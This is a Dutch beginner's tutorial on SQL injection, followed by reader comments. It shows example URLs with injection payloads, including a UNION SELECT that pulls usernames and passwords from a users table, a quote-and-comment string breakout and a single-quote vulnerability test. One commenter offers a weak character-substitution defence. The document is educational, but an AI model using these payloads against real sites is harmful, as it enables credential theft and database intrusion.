SQL Injection voor beginners
-door: Mark IJbema (vandread)--Doel van deze handleiding
Het doel van deze handleiding is om voor beginners SQL injection duidelijk te
maken.Voor vragen en opmerkingen: mark@ijbema.xs4all.nl
-Conventies
In een url dient alles tussen accolades uri-encoded (%.. tekens) te
worden, en de accolades zelf niet gebruikt te worden, maar voor de
leesbaarheid is dat in deze tutorial dus niet gedaan (overigens doen een
hoop browsers dit automatisch voor alles behalve het ‘=’ charachter, als
je die even zelf doet (%3D) dan werkt het waarschijnlijk ook al)-Wat is SQL
SQL is een taal om een database te benaderen. Er zijn zowel opdrachten om dingen
op te vragen als om dingen te wijzigen. Dingen opvragen doe je als volgt:SELECT <kolommen>
FROM <tabellen>
WHERE <voorwaarden>Dus bijvoorbeeld:
SELECT naam, beschrijving, prijs
FROM produkten
WHERE naam = ’128MB RAM’Waarmee je de prijs opvraagt van 128MB RAM. Omdat je echter vaak maar een
resultaat wil, en een naam niet perse uniek is gebruikt men vaak unieke
ID’s. Dus als het ID van 128MB RAM bijvoorbeeld 12 is, ziet de query (zo heet
een selectie in SQL) er als volgt uit:SELECT naam, beschrijving, prijs
FROM produkten
WHERE id = 12Verder heb je ook update’s en dergelijke om gegevens te wijzigen, maar het voert
te ver om er hier dieper op in te gaan.-Gebruik van SQL vanaf websites
Stel je hebt een webpagina om van een product gegevens weer te geven. Je krijgt
nu als parameter het id van het product voor. De URL van de pagina ziet er als
volgt uit:http://www.example.com/product.php?id=12
waarna in de PHP code het id in de query wordt verwerkt. Het id staat in $id, en
vervolgens wordt de query als volgt opgebouwd:$query = “SELECT naam, beschrijving, prijs FROM produkten WHERE id = $id”
hetgeen als $id 12 is resulteert in:
SELECT naam, beschrijving, prijs FROM produkten WHERE id = 12
wat een mooie geldige query is.Maar men is vergeten te checken of $id wel een
nummer is en als we nu in de query 12 vervangen door iets anders wordt dat op de
plaats van 12 geplakt. Dus bijvoorbeeld:http://www.example.com/product.php?id=onzin
levert
SELECT naam, beschrijving, prijs FROM produkten WHERE id = onzin
op, en waarschijnlijk krijg je nu een error als “onzin is not a number”. Maar je
kan dus ook de SQL aanvullen, bijvoorbeeld:http://www.example.com/product.php?id={666666 OR id = 13}
levert op:
SELECT naam, beschrijving, prijs FROM produkten WHERE id = 666666 OR id = 13
en je krijgt nu dus produkt 13 te zien (ervan uitgaande dat 666666 geen geldig
id is).-Union
Een van de belangrijkste technieken bij SQL injection is de UNION operator. In
het vorige voorbeeld kan je aanpassen wat je wilt, maar je krijgt als uitvoer
altijd een naam, een beschrijving en een prijs. Dit is meestal helemaal niet
interessant. Stel nu dat er in dezelfde database ook een lijst usernames,
passwords en ids staan, dan wil je juist die hebben.Dit kan je doen met de volgende query:
SELECT username, password FROM users WHERE id = 1
er bestaat in SQL de UNION operator om queries aan elkaar te plakken, mits het
aantal kolommen van de beide queries gelijk is en de types van de resultaten ook
paarsgewijs gelijk zijn (string, int, etc.). Dus om de vorige query aan de
produkt-query toe te voegen moet er nog een extra integerkolom bij (ervan
uitgaande dat de prijs als integer in de database staat). De query met de union
erbij komt er dan als volgt uit te zien:SELECT naam, beschrijving, prijs FROM produkten WHERE id = 12
UNION
SELECT username, password, id FROM users WHERE id = 1door nu voor 12 een nietbestaand id te gebruiken wordt de eerste query leeg, en
bestaat het resultaat alleen uit de tweede query. Dus:SELECT naam, beschrijving, prijs FROM produkten WHERE id = 666666
UNION
SELECT username, password, id FROM users WHERE id = 1We verkrijgen deze query mbv de volgende URL:
http://www.example.com/product.php?id={666666 UNION SELECT username,
password, id FROM users WHERE id = 1}Zo kunnen we dus van een user het wachtwoord uitlezen. Als je van alle
users het wachtwoord en de username wilt, kan je een scriptje schrijven
dat deze pagina ophaalt voor alle id’s, de pagina parsed, en in een
netjes formaat de output laat zien.-Strings
Vaak worden in plaats van id’s of andere getallen ook strings
meegegeven, bijvoorbeeld:http://www.example.com/listusers?name=mark
Geeft de lijst van alle gebruikers weer die mark heten. Dit ziet er
ongeveer zo uit internSELECT … FROM … WHERE … AND name=’mark’ AND …
Nu willen we niet alle gebruikers met naam ‘mark’ hebben, maar met
password ‘wachtwoord’. Dus we willen van de query het volgende maken:SELECT … FROM …
WHERE … AND name=’onzin’ OR password = ‘wachtwoord’ AND …Hetgeen we krijgen met de volgende url:
http://www.example.com/listusers?name={onzin’ OR password = ‘wachtwoord}Soms is het echter handiger om het laatste deel te negeren, door er
commentaar van te maken, de query wordt dan:SELECT … FROM …
WHERE … AND name=’onzin’ OR password = ‘wachtwoord’– AND …En de url:
http://www.example.com/listusers?name={onzin’ OR password = ‘wachtwoord’–}-Testen of een site vatbaar is voor SQL Injection
De simpelste manier om te testen of een site kwetsbaar is voor sql
injection is door een enkel quotje in de querystring toe te voegen in
een variabele. Als er hierdoor een database error optreed is de site
kwetsbaar. Als die niet optreedt kan het nog steeds zijn dat de site
kwetsbaar is, maar dan staat waarschijnlijk magic_quotes of iets
dergelijks aan. In dat geval kan je wel SQL injection doen, maar kan je
daarbij geen enkele quotes gebruiken.-Afsluiting
Dit zijn grofweg wel de basistechnieken, er valt echter een heleboel
meer te doen, maar een heleboel is afhankelijk van je eigen creativiteit
en de meest handige dingetjes zijn vaak server afhankelijk (vanuit
MS-SQLServer kan je bijvoorbeeld (afhankelijk van hoe die is
geconfigureerd) emails versturen. Ik hoop dat dit voldoende is om je op
weg te helpen, de rest zou moeten lukken met genoeg creativiteit in
combinatie met scriptingskills (om dingetjes te automatiseren). Ook
interessante database specifieke eigenschappen zijn tabellen waarin de
metainformatie staat (tabelnamen, kolomnamen, etc.).-Bronnen
http://www.hackinthebox.org/print.php?sid=6899




English
Dutch
leuk allemaal maar je uitleg zuigt wel super hard. SELECT dit dat etc .. maar waar moet je het nu invullen.. tja vergeten te zegen zeker. vind het persoonlijk best waardeloos en ik heb er niet echt iets aan gehad.
Hallo Kevin,
Bedankt voor de feedback, als je suggesties hebt over wat er precies aangepast moet worden dan zal ik daarvoor zorgdragen, maar tot heden is je feedback niet heel erg informatief (behalve dan dat je er weinig aan had in jouw geval). In mijn ogen is de documentatie ook een leidraad, en geen 100% cover om hoe je zelf SQL injection moet uitvoeren..
Groet,
Remko
Hoi Remko,
Goede tekst, leuke uitleg vanSQL. Ik heb een vraag en misschien kan jij die beantwoorden.
Ik maak een selectie in SQL, maar krijg dan verschillende antwoorden terug waarbij de antwoorden niet uniek zijn. Graag wil ik een antwoord waarbij alles uniek is, wat voor voorwaarde moet ik dan meegeven aan de select?
Bedankt alvast.
Groet Marco
Wel lastig te begrijpen de uitleg, maar toch wel handig…
Ik zal het zeker eens gaan uit proberen..
Hé kevin…
Jouw commentaar zuigt wel super hard. Opmerking dit dat etc… maar iets zinnigs… tja vergeten te zeggen zeker?! Vind het persoonlijk best waardeloos en ik heb er niet echt iets aan gehad.
Oftewel, houd je mond!
Remko: Nette uitleg!
Hallo Siek,
Nou ja, ik denk dat misschien de scope ook wat beter aangegeven had kunnen worden voor wat “ons” betreft (toendertijd schreven we dit soort items met een groep). De scope is dat je ervan leert en dat je kunt begrijpen hoe het gebruikt kan worden. Volgens mij is het nooit de bedoeling geweest om een kant en klare en pasklare oplossing op te leveren die men naar wens kan ge{mis}bruiken.
Anyway; bedankt voor het positieve commentaar! Dat wordt uiteraard erg gewaardeerd
Yo! Thnx voor de tips man!
Ik heb net je verhaal van SQL injectie gelezen.
Er is voor een aantal aanvallen een hele eenvoudige remedie te bedenken. Als je de waarde die je via GET ontvangt laar parsen door een speciale routine die alle ongewenste lettertekens door onschuldige codes veranderd bijvoorbeeld maak van een = [84281] en van een spatie [351] dan zal je SQL commando of crashen of er niets mee doen.
url http://www.xxxxx.xx?id=14
via aanval zou dit worden http://www.xxxxx.xx?id=(66666 or id=13)
na het parsen staat er dan http://www.xxxxx.xx?id=(66666 or id[84281]13)
SELECT * FROM gebruikers WHERE id=(66666[351]or[351]id[84281]13)
Je SQL commando geef dan de foutmelding
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘[351]or[351]id[84281]13)
Je geeft dan niets weg van je database,
Dit systeem wordt door meerdere bedrijven op databases toegepast.
Je moet dan alleen een parseIn en een parseUit functie schrijven kost je hooguit 30 minuten.
zou je me een email kunnen sturen met een prerfecte uitleg van hoe ik een inlog stysteem hack
”mardude”… Ik denk dat de strekking van de artikelen van Mostly-Harmless een extra stukje informatie behoeft; toendertijd was Mostly-Harmless opgericht om jongeren te stimuleren om programmeertalen en scripting talen te begrijpen, zodat ze dit ten positieve kunnen gebruiken om de wereld beter te beveiligen.. niet om in te breken om diverse systemen, dat is namelijk tegen de wet..
Groet,
Remko